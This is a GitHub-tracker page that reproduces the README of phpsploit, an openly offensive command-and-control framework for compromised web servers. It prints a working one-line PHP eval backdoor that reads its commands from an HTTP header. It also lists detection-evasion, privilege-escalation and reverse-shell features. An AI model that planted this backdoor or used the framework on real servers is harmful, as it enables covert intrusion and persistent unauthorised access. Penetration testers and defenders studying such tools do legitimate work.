nil0x42/phpsploit

nil0x42/phpsploit has 2,507 GitHub stars and 463 forks. GitHot measured 0 stars in 24 hours. Last checked 2026-11-07 20:54 UTC. Last push 2024-05-06.

How these counts are measured

Full-featured C2 framework which silently persists on webserver with a single-line PHP backdoor

2,507 stars 463 forks

What you can do

Run commands and browse filesystem, bypassing PHP security restrictions
Upload/Download files between client and target
Edit remote files through local text editor
Run SQL console on target system

Measured star growth

in 24h: 0
in 7 days: Collecting history
in 15 days: Collecting history
in 1 month: Collecting history

Net star changes over overlapping periods, not daily totals. Missing measurements are left blank. Stars measure attention, not software quality.

README.md

Original

Full-featured C2 framework which silently persists on
webserver via polymorphic PHP oneliner

_{Created by
nil0x42 and
contributors}

Overview

The obfuscated communication is accomplished using HTTP headers under standard client requests and web server's relative responses, tunneled through a tiny polymorphic backdoor:

<?php @eval($_SERVER['HTTP_PHPSPL01T']); ?>

Quick Start

git clone https://github.com/nil0x42/phpsploit
cd phpsploit/
pip3 install -r requirements.txt
./phpsploit --interactive --eval "help help"

Features

Efficient: More than 20 plugins to automate privilege-escalation tasks
- Run commands and browse filesystem, bypassing PHP security restrictions
- Upload/Download files between client and target
- Edit remote files through local text editor
- Run SQL console on target system
- Spawn reverse TCP shells
Stealth: The framework is made by paranoids, for paranoids
- Nearly invisible by log analysis and NIDS signature detection
- Safe-mode and common PHP security restrictions bypass
- Communications are hidden in HTTP Headers
- Loaded payloads are obfuscated to bypass NIDS
- http/https/socks4/socks5 Proxy support
Convenient: A robust interface with many crucial features
- Detailed help for any option (help command)
- Cross-platform on both client and server.
- CLI supports auto-completion & multi-command
- Session saving/loading feature & persistent history
- Multi-request support for large payloads (such as uploads)
- Provides a powerful, highly configurable settings engine
- Each setting, such as user-agent has a polymorphic mode
- Customisable environment variables for plugin interaction
- Provides a complete plugin development API

Supported platforms (as attacker):

GNU/Linux
Mac OS X

Supported platforms (as target):

GNU/Linux
BSD-like
Mac OS X
Windows NT

Contributors

Thanks goes to these wonderful people:

_nil0x42 💻 🚇 🔌 ⚠️	_shiney-wh 💻 🔌	_{Wannes Rombouts} 💻 🚧	_{Amine Ben Asker} 💻 🚧	_{jose nazario} 📖 🐛	_{Sujit Ghosal} 📝	_Zerdoumi 🐛
_{tristandostaler} 🐛	_{Rohan Tarai} 🐛	_{Jonas Lejon} 📝